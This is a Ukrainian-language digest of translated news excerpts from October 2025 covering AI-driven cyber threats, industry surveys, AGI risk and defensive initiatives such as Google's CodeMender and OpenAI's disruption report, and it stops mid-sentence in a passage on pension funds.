Впровадження ШІ в кібератаки «потребує навчання або налаштування моделей, їх автоматизації в інфраструктурі атаки, інтеграції з системами доставки та розробки методів уникнення виявлення», зазначає Intel 471, а все це забирає час у хакерів, який вони могли б витратити на прибуткову роботу. Як результат, дослідники пишуть, що кіберзлочинці віддають перевагу «готовим фішинговим наборам», які «легше впроваджувати, швидше розгортати і які мають доведений досвід успішного використання».

Проте хакери знаходять генеративну ШІ корисною в багатьох аспектах, включаючи аудіо-діпфейки, які можуть імітувати голоси керівників, кол-центри на базі ШІ, які можуть автоматизувати шахрайство, відео-діпфейки, які можуть обдурити інтерв'юерів, та голосові боти на базі ШІ, які можуть виманити у жертв коди багатофакторної аутентифікації та номери кредитних карток. У звіті Intel 471 згадується один кол-центр, який використовував три моделі ШІ, включаючи одну від Google та іншу від OpenAI. У звіті також описується кіберзлочинець, який рекламує послугу голосового бота на базі штучного інтелекту, яка, за його словами, успішно викрала дані у 10% жертв.

Однак на даний момент «існує обмежена кількість доказів існування інструментів на базі штучного інтелекту, що циркулюють на підпільних ринках», зазначає Intel 471, «а в дискусіях між учасниками загроз рідко згадується про оперативне використання генеративного штучного інтелекту».

Компанія дійшла висновку, що «практичне впровадження» цієї технології кіберзлочинцями «все ще перебуває на початковій стадії», а її широке використання залежить від «зниження вартості хостингу моделей та появи «сучасних» наборів штучного інтелекту, порівнянних із популярними сьогодні пропозиціями PhaaS». Проте вона також передбачила «більше дзвінків із використанням технології deepfake» з метою видавання себе за інших осіб, спрямованих на бізнес-лідерів, та сплеск дезінформації, що базується на штучному інтелекті, «під час виборів, геополітичних конфліктів та дебатів про соціальну справедливість». ***(Eric Geller. AI fuels social engineering but isn't yet revolutionizing hacking // TechTarget, Inc. (https://www.cybersecuritydive.com/news/ai-phishing-social-engineering-reality-check-research/802261/). 08.10.2025).***

***

«Штучний інтелект полегшив хакерам створення переконливих фішингових повідомлень, розробку нового шкідливого програмного забезпечення та аналіз потенційних цілей. Ця технологія також може допомогти захисникам швидше виявляти аномальну активність, що робить її потужним інструментом кіберзахисту. Але, як показують дані нового звіту 11:11 Systems, багато компаній частіше зазнавали його шкоди, ніж користі.

Окрім 45% IT-керівників, які повідомили про фішингові атаки на основі штучного інтелекту, 35% сказали, що їхні організації стикалися з атаками хакерів, які використовували «автономне та мутуюче шкідливе програмне забезпечення».

«Керівники ІТ-відділів та бізнесу добре усвідомлюють, як штучний інтелект змінює ландшафт кіберзлочинності, і багато хто вже відчув його наслідки», – йдеться у звіті постачальника керованої інфраструктури 11:11 Systems.

Висновки компанії базуються на опитуванні понад 800 ІТ-керівників в організаціях з кількістю співробітників щонайменше 1000 у США, Великій Британії, Канаді, Франції, Нідерландах, Австралії та Сінгапурі.

Компанії розділилися щодо того, як вони реагують на кібератаки: приблизно чверть повністю займається реагуванням власними силами, а приблизно половина використовує як власні, так і аутсорсингові команди. Ще 16% повністю передали свої операції з відновлення на аутсорсинг, тоді як 7% респондентів заявили, що їхні організації не мають офіційних планів відновлення.

Складність планування відновлення, недостатні бюджети на відновлення та брак власної експертизи очолювали список проблем відновлення респондентів.

Понад 80% респондентів вважали, що їхні організації надмірно впевнені у своїй здатності відновитися після атаки. Приблизно половина з них заявила, що їхні організації вживають заходів для покращення своєї готовності. 11:11 Systems заявила, що ці результати підкреслюють «необхідність постійного вдосконалення». ***(Eric Geller. Businesses fear AI exposes them to more attacks // TechTarget, Inc. (https://www.cybersecuritydive.com/news/it-leaders-concern-ai-cyberattacks-survey/802151/). 07.10.2025).***

***

«Штучний інтелект (ШІ) вийшов на перший план у сфері кібербезпеки. Згідно з опитуванням IDC 2025 року, проведеним на замовлення Fortinet, у Сінгапурі спостерігається різке зростання популярності ШІ серед підприємств: 82% організацій вже інтегрують ШІ у свої системи безпеки для виявлення загроз, реагування на інциденти та стратегічного планування. Ця зміна є надзвичайно важливою, оскільки ШІ є двосічним мечем: захисники автоматизують виявлення та масштабування інформації про загрози, а зловмисники також використовують ШІ для запуску швидших і більш прихованих кампаній. Минулого року 56% сінгапурських організацій зіткнулися із загрозами, пов'язаними із ШІ, і часто спостерігали дво- або трикратне збільшення обсягу загроз…

Окрім базового виявлення, організації використовують ШІ для прогнозування загроз та аналізу поведінки, а генеративний ШІ (GenAI) набуває популярності для таких завдань, як виявлення соціальної інженерії. Однак довіра до повної автономії залишається низькою, і більшість команд наразі перебувають у фазі «другого пілота», що обмежує автоматичне усунення проблем. Розвиток штучного інтелекту також змінює структуру робочої сили, стимулюючи попит на спеціалізовані посади, такі як науковці з безпеки даних та інженери з безпеки штучного інтелекту, що спонукає організації стратегічно узгоджувати таланти з технологіями…

Незважаючи на те, що 86% організацій повідомляють про зростання бюджету (хоча часто менше 5%), витрати переорієнтовуються з інвестицій в інфраструктуру на цільові, орієнтовані на ризики стратегії, такі як безпека ідентифікації та

архітектура Zero Trust. Незважаючи на зростаючу увагу керівництва, команди залишаються недоукомплектованими: лише 13% внутрішнього IT-персоналу зосереджено на кібербезпеці, а менше 15% організацій мають спеціального директора з інформаційної безпеки (CISO). Щоб боротися зі складністю, вражаючі 96% організацій або об'єднують безпеку та мережі, або активно оцінюють це, а 70% розглядають можливість консолідації постачальників для кращої інтеграції та поліпшення стану безпеки. IDC відзначає, що організації виходять за межі експериментів, повністю інтегруючи штучний інтелект у операції з безпеки, щоб зробити їх розумнішими, швидшими та більш адаптивними». ***(Use of AI in cybersecurity surges in Singapore // ANTARA (https://en.antaranews.com/news/384793/use-of-ai-in-cybersecurity-surges-in-singapore). 08.10.2025).***

***

«Штучний загальний інтелект (AGI) — високоавтономний ШІ, здатний виконувати більшість когнітивних завдань нарівні з людьми — готовий кардинально змінити ландшафт загроз кібербезпеки. На відміну від сучасного ШІ, призначеного для виконання конкретних завдань, системи AGI будуть ініціювати дії та досягати цілей без прямого нагляду, що значно посилить існуючу асиметрію між зловмисниками та захисниками, де зловмисникам достатньо одного успіху, а захисники повинні захищати кожну слабку ланку…

AGI може дозволити супротивникам проводити кампанії атак в режимі реального часу, навчаючись і коригуючи їх, а не здійснюючи окремі інциденти, координуючи одночасно складні тиски в кібернетичній, фізичній та інформаційній сферах. Крім того, AGI значно скоротить терміни атак, потенційно завершуючи операції, які раніше займали тижні, за лічені години, поєднуючи такі етапи, як розвідка, виявлення вразливостей та розробка експлойтів, за допомогою тисяч дешевих і швидких спроб…

Однак AGI є двосічним мечем; дослідження показують, що системи штучного інтелекту часто краще справляються з оборонними завданнями, такими як виправлення, ніж з розробкою експлойтів. Використовувана в оборонних цілях, AGI може бути потужним мультиплікатором сили, скорочуючи місячні цикли виправлення до декількох днів, звільняючи команди з безпеки від рутинної сортування та перетворюючи кібербезпеку з реактивного гасіння пожеж на проактивну стійкість. Критичним викликом є різниця в темпах: захисники часто сповільнюються через бюрократію та небажання ризикувати, тоді як супротивники вільно експериментують. Щоб змінити баланс, захисники повинні прискорити впровадження ШІ, вбудовуючи його в практику, щоб не віддавати ініціативу нападникам…

Поява AGI також має геополітичні наслідки, що потенційно може поглибити цифровий розрив, оскільки малі та країни, що розвиваються, які не мають доступу до технологій, ризикують відстати в ефективності та економічному зростанні, що вимагає глобальних зусиль для просування справедливого цифрового середовища.

Для забезпечення безпечного впровадження всі зацікавлені сторони повинні терміново вжити цілеспрямованих, проактивних та скоординованих заходів.

Політики повинні розвинути технічну грамотність, необхідну для створення механізмів, що забезпечують баланс між інноваціями та безпекою, можливо, шляхом нарощування потенціалу країн, що розвиваються. Необхідно докласти спільних зусиль для підвищення базового рівня безпеки систем ШІ шляхом впровадження чіткіших керівних принципів, гармонізованих стандартів та практичних інструментів, зокрема шляхом забезпечення безпеки технологічного стеку ШІ протягом усього його життєвого циклу. Зрештою, міжнародне співробітництво має вирішальне значення, оскільки AGI вимагає посилення глобальної цифрової стійкості, щоб запобігти перетворенню цієї потужної технології на серйозну загрозу безпеці». ***(Kemba Eneas Walden, Chua Kuan Seah, Dawn Song. How we enhance cybersecurity defences before the attackers in an AGI world // World Economic Forum (https://www.weforum.org/stories/2025/10/how-we-enhance-cybersecurity-defences-before-the-attackers-in-an-agi-world/). 09.10.2025).***

***

«Агенти штучного інтелекту перетнули межу від допомоги хакерам-людям до самостійного проведення цілих кібероперацій, поєднуючи розвідку, експлуатацію, наполегливість і вимагання з машинною швидкістю та в глобальному масштабі. Тільки за останні кілька місяців • XBOW використовував автоматизовані інструменти, щоб подати понад 1000 нових вразливостей до HackerOne; • команди AI Cyber Challenge DARPA виявили 54 недоліки за чотири години; • Big Sleep від Google та інші системи виявили десятки дефектів у програмному забезпеченні з відкритим кодом. Злочинні угруповання вже використовують ці можливості як зброю: український CERT перехопив російське шкідливе програмне забезпечення, яке використовує велику мовну модель для генерації команд для атак в режимі реального часу, а Anthropic викрив зловмисника, який використовував Claude для здійснення комплексних атак на мережі, вибору даних для викрадення та складання записок з вимогою викупу. Готові інструменти, такі як HexStrike-AI та Villager, тепер дозволяють звичайним злочинцям запускати автономні сканування, експлойти та кампанії з використанням програм-вимагачів…

Результатом є наближення «особливої ситуації» для нападу: ШІ настільки різко знижує бар'єри, пов'язані з навичками, часом і витратами, що рідкісні знання стають товаром. Традиційні припущення щодо безпеки — час на виправлення, секретність деталей вразливості — втрачають свою актуальність, коли зловмисники можуть виявляти та використовувати недоліки в режимі реального часу…

Оборонна галузь може скористатися цією ж технологією, але її розвиток відбуватиметься у кілька взаємопов'язаних етапів. (1) Спочатку ШІ значно полегшить роботу дослідників вразливостей, перетворивши трудомісткий процес зворотного інжинірингу на переважно автоматизовані робочі процеси. (2) Ці робочі процеси перетворяться на «VulnOps» — дисципліну, схожу на DevOps, яка забезпечує підприємствам повторюване виявлення вразливостей у стилі SaaS. (3) Якщо інтегрувати їх у CI/CD-процеси, підприємства зможуть перейти до безперервного виявлення/безперервного виправлення, автоматично виправляючи

недоліки до того, як код потрапить у виробництво. (4) Зрештою, можуть з'явитися самовідновлювані мережі, в яких внутрішні агенти ШІ виявляють і виправляють вразливості — навіть у сторонньому програмному забезпеченні — не чекаючи на оновлення від постачальників, що породжує нові питання щодо відповідальності, сумісності та відносин з постачальниками…

Невідомо, чи напад перевершить захист, чи навпаки, але баланс кіберсили швидко змінюється: агенти штучного інтелекту вже зробили хакерство елітного рівня доступним, і лише настільки ж автоматизовані, інтегровані та передбачувальні засоби захисту можуть забезпечити безпеку мереж у майбутньому». ***(Heather Adkins, Gadi Evron and Bruce Schneier. Autonomous AI hacking and the future of cybersecurity // FoundryCo, Inc. (https://www.csoonline.com/article/4069075/autonomous-ai-hacking-and-the-future-of-cybersecurity.html). 08.10.2025).***

***

«Google значно підвищує безпеку систем штучного інтелекту та використовує штучний інтелект як основний механізм захисту від кіберзагроз за допомогою низки нових ініціатив. 6 жовтня компанія оголосила про випуск CodeMender, агента штучного інтелекту, розробленого Google DeepMind з використанням передових моделей Gemini для автоматичного виявлення та усунення вразливостей програмного забезпечення. CodeMender може самостійно аналізувати недоліки, визначати їхні основні причини та генерувати пропозиції щодо виправлення, які потім перевіряються окремими системами штучного інтелекту, перш ніж бути представленими розробникам-людям. CodeMender вже подав 72 виправлення до проектів з відкритим кодом, реструктуризувавши код для запобігання таким категоріям вразливостей, як переповнення буфера, як продемонстровано на бібліотеці libwebp…

Надійність агента забезпечується базовим підходом, що поєднує статичний і динамічний аналіз із суддею LLM — окремим рівнем контролю, який оцінює, чи запропоновані зміни зберігають функціональність програмного забезпечення, і виправляє невідповідності перед подачею. Окрім CodeMender, Google також запустив програму винагороди за виявлення вразливостей у штучному інтелекті, централізувавши правила та винагороди за повідомлення про вразливості в системах штучного інтелекту, вже виплативши понад 430 000 доларів США в рамках попередніх пов'язаних програм. Крім того, компанія оновила свою платформу Secure AI Framework до версії 2.0, яка зосереджується на безпеці автономних агентів штучного інтелекту шляхом впровадження карти ризиків для виявлення загроз на різних рівнях системи. Ця платформа вимагає, щоб агенти штучного інтелекту залишалися під контролем людини, мали обмежені можливості та виконували прозорі, перевіряємі дії. Завдяки цим ініціативам та співпраці з такими партнерами, як DARPA, Google прагне структурно змінити баланс у цифровій безпеці, зміцнивши захист від швидших і більш витончених атак, що здійснюються зловмисниками, які використовують штучний інтелект». ***(Mels Dees. Google strengthens use of AI for cyber defense // Dolphin Publications B.V.***

(https://www.techzine.eu/news/applications/135208/google-strengthens-use-of-ai-for-cyber-defense/). 07.10.2025).

***

«Баланс у сфері кібербезпеки вирішальним чином змістився на користь зловмисників завдяки появі штучного інтелекту, який забезпечує автономні операції зі швидкістю машини, здатні в режимі реального часу використовувати уразливості нульового дня та одного дня. Ця нова ера ворожої штучної інтелекту використовує великі мовні моделі (LLM) та підкріплювальне навчання для автоматизації кожного етапу кібератаки — від розвідки та створення корисного навантаження до крадіжки даних та спілкування з метою вимагання викупу — з мінімальним втручанням людини, як показано у звіті Anthropic про автоматизовані програми-вимагачі, що впливають на критичні сектори…

Це стрімке прискорення спричинило гонку озброєнь між штучним інтелектом і штучним інтелектом, де вікно для реакції людини закривається за мілісекунди. Традиційні центри безпеки (SOC) не можуть встигати за такою швидкістю; один єдиний експлуатований датчик, хмарний модуль або посилання постачальника може спровокувати каскадну багаторівневу оперативну кризу в гіперпідключених корпоративних системах, вразливість якої посилюється Індустрією 5.0. Ця структурна невідповідність очевидна з того факту, що 77% організацій не мають відповідних штучному інтелекту практик безпеки для критично важливих каналів передачі даних…

Єдиним дієвим захистом від цих автономних загроз є впровадження систем на основі штучного інтелекту, що самовідновлюються і працюють зі швидкістю машини. Для цього необхідно перейти до прогнозної безпеки з використанням засобів виявлення нового покоління, поведінкового аналізу та телеметрії в режимі реального часу, щоб виявляти шкідливе програмне забезпечення та фішинг, створені за допомогою штучного інтелекту. Ключовими компонентами цієї алгоритмічної оборони є: безперервне усунення, щоб нейтралізувати атаки до їх каскадного поширення; доступ на основі нульової довіри та аутентифікація пристроїв для постійної перевірки кожного користувача та пристрою; безпечні веб-шлюзи для зупинки загроз на межі мережі; та виявлення аномалій на основі штучного інтелекту для миттєвого стримування складних моделей атак. Ця системна стійкість забезпечує безперебійну роботу виробничих та постачальних ланцюгів, доводячи, що в світі, де атаки зростають в геометричній прогресії, захист на швидкості машини є новою базовою умовою виживання». ***(Sriram Kakarala. Hackers in Hyperdrive: How to Outsmart AI-Powered Threats // The AI Journal (https://aijourn.com/hackers-in-hyperdrive-how-to-outsmart-ai-powered-threats/). 14.10.2025).***

***

«Згідно з щорічним звітом Microsoft про цифрові загрози, ворожі держави, а саме Росія, Китай, Іран і Північна Корея, різко збільшили використання штучного інтелекту (ШІ) для здійснення кібератак і онлайн-шахрайства проти Сполучених Штатів. У липні 2025 року Microsoft виявила

понад 200 випадків використання іноземними супротивниками ШІ для створення фальшивого контенту, що більш ніж удвічі перевищує показник липня 2024 року і вдесятеро перевищує показник 2023 року…

Супротивники США, разом із злочинними угрупованнями, використовують потенціал штучного інтелекту для автоматизації та вдосконалення атак, створюючи все: від досконалих фішингових листів до цифрових клонів урядовців для соціальної інженерії, шпигунства та кампаній з дезінформації. Основною мішенню цих атак є США, за ними йдуть Ізраїль та Україна. Примітно, що Північна Корея стала піонером у використанні схеми, в якій за допомогою штучного інтелекту створюються американські персонажі, які подають заявки на віддалені технічні роботи, що дозволяє хакерам викрадати секрети або встановлювати шкідливе програмне забезпечення, а авторитарний уряд привласнює собі зарплати…

Незважаючи на заперечення таких країн, як Китай та Іран, щодо наступальних кібероперацій, все більша досконалість інструментів штучного інтелекту є вирішальним моментом у ландшафті загроз. Представники Microsoft попереджають, що багато американських компаній використовують застарілі засоби кіберзахисту, тому організаціям та приватним особам вкрай важливо негайно інвестувати в основні засоби кібербезпеки, щоб захиститися від зростаючих загроз для урядів, підприємств та критично важливих систем, таких як лікарні та транспортні мережі. Експерти з безпеки наголошують, що, хоча штучний інтелект використовується зловмисниками як зброя, він також є важливим інструментом захисту в безперервній «грі в кота і мишу» за доступ, дані та гроші». ***(DAVID KLEPPER. Microsoft: Russia, China increasingly using AI to escalate cyberattacks on the US // The Associated Press (https://apnews.com/article/ai-cybersecurity-russia-china-deepfakes-microsoft-ad678e5192dd747834edf4de03ac84ee). 16.10.2025).***

***

«У зв'язку зі скороченням бюджетів на кібербезпеку — середній річний приріст яких у 2025 році знизиться до 4% — організації шукають економічно ефективні способи управління загрозами, що змушує експертів припускати, що інвестиції в агентний штучний інтелект можуть бути розумним стратегічним кроком. Агентний штучний інтелект може значно поліпшити робочі процеси в галузі кібербезпеки, від прогнозної аналітики до машинного навчання, і експерти вважають, що людські можливості вже перевершені масштабами необхідної безпеки…

Прихильники стверджують, що кібербезпека, підтримана штучним інтелектом, зменшує «трудомісткість розробників» та перемикання контексту під час створення коду, що дозволяє командам більше зосередитися на інноваціях, а не на рутинних завданнях, таких як сортування вразливостей безпеки. Крім того, агентський штучний інтелект може слугувати цілодобовою охороною, переносячи безпеку з реактивної позиції на проактивну, сприймаючи різні сигнали та надаючи рекомендації щодо найкращих практик…

Однак експерти застерігають, що для інструментів ШІ необхідні належні запобіжні заходи, аналогічні перевіркам анкетних даних та верифікації, що

застосовуються до співробітників-людей, щоб забезпечити дотримання організаційних політик щодо обміну даними та інформацією. Щоб ефективно впровадити агентний ШІ з обмеженим бюджетом, керівники служб безпеки повинні надати пріоритет підходу до бюджетування з нульовою базою, оцінюючи найбільші ризики організації та забезпечуючи відповідність поточних інвестицій для зменшення цих ризиків перед придбанням нових інструментів. Незважаючи на потенціал ШІ щодо економії коштів, деякі експерти також зазначають, що його впровадження неминуче створює нові ризики, які слід враховувати при збільшенні бюджетів на безпеку…» ***(Caroline Nihill. Agentic AI could be the savior of cybersecurity budgets // Morning Brew Inc. (https://www.itbrew.com/stories/2025/10/15/agentic-ai-savior-of-cyber-budgets). 15.10.2025).***

***

«Останній звіт OpenAI вказує, що, хоча компанія очікує зростання кількості зловмисників, які використовують ChatGPT та інші моделі штучного інтелекту для створення шкідливого коду та інструментів, наразі немає доказів того, що ці моделі використовуються для створення повністю нових засобів нападу. Компанія навела кілька прикладів, коли їй вдалося перешкодити зловмисникам, зокрема державним структурам та злочинним угрупованням, які намагалися зловживати штучним інтелектом…

OpenAI виявила, що особи, пов'язані з китайськими урядовими структурами, використовували ChatGPT для «розробки, профілювання та бюрократичних функцій», таких як розробка рекламних матеріалів та планів проектів для масштабних інструментів моніторингу соціальних мереж, хоча, за повідомленнями, моделі повертали лише загальнодоступну інформацію. В іншому випадку OpenAI перешкодила російськомовним злочинним угрупованням, які намагалися використовувати «vibe coding» для розробки та вдосконалення шкідливих інструментів, таких як програми для викрадення облікових даних та трояни віддаленого доступу; захисні заходи компанії успішно відхилили явно шкідливі запити…

Тактика OpenAI щодо боротьби з порушеннями передбачає блокування користувачів, пов'язаних з такими злочинними діями, але компанія зазначає, що ці особи адаптують свою поведінку, навіть вручну видаляючи сліди використання ШІ зі свого контенту перед публікацією. Хоча OpenAI покладається на обмеження на рівні моделей для запобігання зловживанням, експерти застерігають, що такого підходу недостатньо, оскільки зловмисники можуть легко переходити від одного постачальника ШІ до іншого після блокування. Тому комплексна інфраструктура виявлення вважається критично важливою для того, щоб не відставати від супротивників, які використовують кілька моделей ШІ…» ***(Caroline Nihill. OpenAI releases disruption report for malicious uses of AI // Morning Brew Inc. (https://www.itbrew.com/stories/2025/10/15/openai-disruption-report). 15.10.2025).***

***

«Швидка еволюція штучного інтелекту створює значні виклики для корпоративної безпеки, оскільки як зловмисники, так і захисники використовують цю технологію, що призводить до поглиблення розриву в довірі серед керівників вищого рівня. Хоча інструменти штучного інтелекту захищають мільйони систем у масштабах, неможливих для людей, зловмисники одночасно використовують ту саму технологію для автоматизації складних експлойтів та прискорення виявлення вразливостей. Згідно з опитуванням Forbes Research 2025 AI Survey, в якому взяли участь понад 1000 керівників, 63% респондентів вважають, що загрози, пов'язані зі штучним інтелектом, можуть знецінити сучасні засоби захисту кібербезпеки кожні кілька місяців, що більш ніж удвічі перевищує показник попереднього року… Крім того, 62% респондентів повідомили, що ШІ ускладнює підтримку актуальності заходів з кібербезпеки та навчання. Хоча 71% керівників висловили серйозну стурбованість щодо безпечного використання ШІ, лише 38% вважають, що їхнє вище керівництво повністю усвідомлює вплив ШІ на кібербезпеку, причому найменшу впевненість у своїх командах виявляють генеральні директори. Навіть незважаючи на те, що комітети з управління ШІ зараз створені в 65% компаній, 43% респондентів повідомляють про уповільнення роботи через бюрократію, що свідчить про майбутнє, в якому 65% керівників передбачають, що ризик буде перенесений, а не усунутий завдяки зростаючій популярності комбінованих послуг з кібербезпеки та страхування…» ***(David Maclean. Will AI Cyber Threats Outpace AI Defenses? // Forbes Media LLC. (https://www.forbes.com/sites/forbes-research/2025/10/17/ai-cybersecurity-threats-executives-survey-2025/). 17.10.2025).***

***

«Новий звіт Forrester передбачає, що в 2026 році агентський штучний інтелект спричинить публічний злам, який призведе до звільнення співробітників. У звіті викладено п'ять ключових змін, до яких повинні підготуватися керівники служб інформаційної безпеки, оскільки загрози кібербезпеці стають все більш автономними, геополітичними та фрагментованими…

У звіті «Прогнози на 2026 рік: кібербезпека та ризики» також передбачається:

П'ять урядів націоналізують або обмежать телекомунікаційну інфраструктуру, що змусить переглянути вимоги до відповідності та підключення;

Відома база даних Європейського Союзу про вразливі місця, які піддаються експлуатації, може перевершити аналогічну базу даних США за швидкістю та впливом;

Витрати на квантову безпеку різко зростуть у міру наближення термінів впровадження постквантового шифрування;

Гучне злиття між застарілим постачальником IT-послуг та компанією з кібербезпеки, яка переживає складні часи, зазнає невдачі, що спричинить збитки для корпоративних клієнтів…» ***(Anna Delaney. Top Cyberthreats in 2026: Agentic AI Will Trigger a Breach // Information Security Media Group, Corp. (https://www.inforisktoday.com/top-cyberthreats-in-2026-agentic-ai-will-trigger-breach-a-29722). 14.10.2025).***

***

«…Незважаючи на те, що 94% IT-керівників визнають штучний інтелект (ШІ) центральним елементом своєї корпоративної стратегії, що обумовлено такими факторами, як поліпшення процесу прийняття рішень та підвищення якості обслуговування клієнтів, лише 37% з них вважають захист ШІ від кіберзагроз пріоритетним завданням під час його впровадження, згідно з опитуванням ANS. Ця невідповідність готовності значно збільшує корпоративний ризик, оскільки впровадження ШІ розширює площу атаки для досвідчених кіберзлочинців… Менше третини респондентів вважають безпеку стратегічним фактором у своїй стратегії щодо штучного інтелекту, а 37% відкидають її як просто вимогу дотримання нормативних вимог, непотрібні витрати або неістотний фактор. Такий підхід свідчить про те, що багато організацій надають пріоритет короткостроковим вигодам від штучного інтелекту, вважаючи необхідні інвестиції в кібербезпеку перешкодою, що робить їх вразливими до порушень, недотримання нормативних вимог та втрати доходів і конкурентних переваг. Кайл Хілл, технічний директор ANS, підкреслив, що хоча 42% осіб, які приймають рішення, заявляють про проактивний підхід до безпеки ШІ, більшість ставиться до цього як до другорядного питання. Хілл наголосив, що організації повинні змінити свою точку зору, щоб визнати стратегічну цінність відповідального ШІ та інтегрувати безпеку як основу інновацій, забезпечуючи наявність захисних заходів, щоб переваги ШІ переважали зростаючі вразливості…» ***(Alex Wright. Businesses put at increased risk of cyber attacks by failing to secure AI systems // Mark Allen Group (https://www.commsbusiness.co.uk/content/news/businesses-put-at-increased-risk-of-cyber-attacks-by-failing-to-secure-ai-systems). 15.10.2025).***

***

«Енергетичний сектор переживає глибоку цифрову трансформацію, спричинену інтеграцією пристроїв Інтернету речей, таких як інтелектуальні лічильники та датчики, які мають вирішальне значення для управління попитом і пропозицією в умовах розвитку децентралізованих енергомереж. Хоча така взаємопов'язаність має безліч переваг, вона також значно підвищує вразливість сектора до ризиків безпеки, що робить стійкість мережі надзвичайно важливою. Простої в цьому секторі мають особливо високі ризики, загрожуючи стабільності мережі, обслуговуванню клієнтів та безпеці, а окремі вразливості можуть перерости в широкомасштабні та тривалі перебої в роботі…

Щоб забезпечити безперебійну роботу, енергетичні компанії повинні дотримуватися традиційних принципів відмовостійкості, включаючи резервування та ізоляцію несправностей, і застосовувати їх до добре розроблених рішень на базі Інтернету речей. Для максимальної відмовостійкості потрібні системи, які передбачають порушення роботи за допомогою моніторингу в режимі реального часу та виявлення загроз. Центральне місце в цьому підході займають системи виявлення та запобігання вторгненням (IDPS), комплексний моніторинг журналів та постійне відстеження стану пристроїв, що запобігає поширенню локальних проблем і забезпечує оптимальну функціональність пристроїв.

Ця проактивна стійкість є не тільки оперативною необхідністю, але й нормативною вимогою. Зростання кіберзагроз, про що свідчить збільшення кількості дорогих випадків порушення безпеки даних, вимагає надійної кібербезпеки. Такі нормативні акти, як директива ЄС NIS2, зобов'язують енергопостачальників демонструвати справжню стійкість і готуватися до швидкого відновлення, що робить безпечні системи обов'язковою вимогою дотримання нормативних вимог…

Крім того, забезпечення безпеки повинно поширюватися не тільки на саму організацію, а й на ланцюжок поставок. Хоча мережі та постачальники третіх сторін сприяють масштабуванню та накопиченню досвіду, вони створюють значний ризик, якщо їхні практики безпеки не відповідають стандартам енергетичної компанії, що може призвести як до кібератак, так і до порушення нормативних вимог. Енергетичні компанії повинні проводити ретельну перевірку та підтримувати високу прозорість ланцюга поставок, щоб виявляти приховані ризики та автоматизувати реагування на аномалії. Зрештою, стійкість, вбудована в систему з самого початку завдяки безпечному підключенню, нагляду за активами в режимі реального часу та надійним партнерським відносинам з постачальниками, є ключовим фактором для забезпечення стабільності мережі, задоволеності клієнтів та постійного дотримання нормативних вимог». ***(Iain Davidson. How Preemptive Cybersecurity and IoT Help Energy Companies Keep the Lights On // EE Times Europe (https://www.eetimes.eu/how-preemptive-cybersecurity-and-iot-help-energy-companies-keep-the-lights-on/). 17.10.2025).***

***

«Нове опитування ISACA «Tech Trends & Priorities Pulse Poll», засноване на відгуках 2963 фахівців з аудиту, ризиків та кібербезпеки, показує, що штучний інтелект домінує як у їхніх сподіваннях, так і в їхніх побоюваннях на 2026 рік. 59% респондентів стверджують, що атаки на основі штучного інтелекту та депфейки будуть причиною найбільшої кількості безсонних ночей, значно випереджаючи побоювання щодо невиявлених порушень (36%) або помилок та саботажу з боку інсайдерів (35%). Їх найбільшою професійною турботою є просто встигати за швидкими змінами в галузі штучного інтелекту (41%), за ними йдуть зростаюча складність загроз (27%) та труднощі з наймом і утриманням талановитих співробітників (23%)…

Проте лише 13% відчувають себе «дуже готовими» до управління ризиками, пов'язаними з генеративною ШІ; половина відчуває себе «дещо» готовою, а 30% визнають, що не готові. Вони очікують, що провідними кіберзагрозами наступного року стануть кампанії соціального інжинірингу, що базуються на ШІ (63%), програми-вимагачі/шантаж (54%) та внутрішні загрози (35%). Регулювання є ще однією проблемою: 32% побоюються його складності, але більшість бачить у ньому переваги — 62% вважають, що нові правила стимулюватимуть зростання бізнесу, а 78% вважають, що вони підвищать цифрову довіру. Як наслідок, дотримання нормативних вимог очолює список пріоритетів на 2026 рік (66%), випереджаючи безперебійність/стійкість бізнесу (62%) та управління ризиками, пов'язаними з ШІ (48%)…

Що стосується талантів, 62% організацій мають намір найняти фахівців з цифрової безпеки в наступному році, проте 44% з них очікують труднощів із пошуком кваліфікованих кандидатів; 39% планують найняти більше таких співробітників, ніж у 2025 році, і така ж частка вважає підвищення кваліфікації в галузі безпеки даних «дуже важливим». ISACA закликає фахівців використовувати планування на кінець року для переорієнтації навичок і стратегій та вказує на свій зростаючий каталог курсів з штучного інтелекту та нові сертифікати AAIA і AAISM, які допоможуть подолати розрив у підготовці». ***(From Ransomware to AI Risk: New ISACA Research Identifies What Will Keep Tech Pros Up at Night in 2026 // Business Wire, Inc. (https://www.businesswire.com/news/home/20251020230747/en/From-Ransomware-to-AI-Risk-New-ISACA-Research-Identifies-What-Will-Keep-Tech-Pros-Up-at-Night-in-2026). 20.10.2025).***

***

«Хоча багато європейських організацій прийняли принципи Zero Trust для захисту користувачів, пристроїв та додатків, занадто вузьке застосування цієї моделі залишає значні прогалини в безпеці на розширюваній поверхні атаки, особливо в віддалених місцях, операційних технологіях (OT), пристроях Інтернету речей (IoT) та зв'язках ланцюга поставок. Оскільки кіберзлочинці, що використовують штучний інтелект, експлуатують ці прогалини та використовують застарілі системи для горизонтального переміщення та крадіжки даних, організації повинні впровадити модель «Zero Trust Everywhere», яка усуває неявну довіру на всіх рівнях IT-інфраструктури…

Традиційні розгортання Zero Trust часто зупиняються після забезпечення базового доступу користувачів, створюючи помилкове відчуття безпеки. Zero Trust Everywhere охоплює всю поверхню атаки, сегментуючи філії, заводи та склади як ізольовані об'єкти, застосовуючи політики безпеки на кожному пристрої IoT та OT і маршрутизуючи всі комунікації сторонніх постачальників через безпечні системи. Впровадження цих комплексних заходів підвищує стійкість, зменшує площу атаки та забезпечує операційні переваги, такі як більш чітка архітектура та нижчі витрати на обслуговування. Крім того, такий підхід сприяє дотриманню основних нормативних вимог, таких як британські правила NIS та Закон про захист даних 2018 року, перетворюючи дотримання вимог з реактивного зобов'язання на проактивний фактор зростання та глобальної конкурентоспроможності, особливо в таких критично важливих секторах, як фінансові послуги та передове виробництво…» ***(Brian Marvin. Zero Trust Everywhere: a new era in cybersecurity for European organizations // The Register (https://www.theregister.com/2025/10/21/zero_trust_everywhere_new/). 21.10.2025).***

***

«…Штучний інтелект (ШІ) відкриває перед довіреними особами пенсійних фондів як нові можливості, так і підвищені ризики в галузі кібербезпеки, незважаючи на те, що Пенсійний регулятор (TPR) ще не видав конкретних рекомендацій щодо ШІ. Хоча ШІ може значно поліпшити

кіберзахист, виступаючи в ролі системи раннього попередження та виявляючи шахрайство, він також підвищує рівень ризику трьома основними шляхами, що вимагає вжиття активних заходів для його зниження…

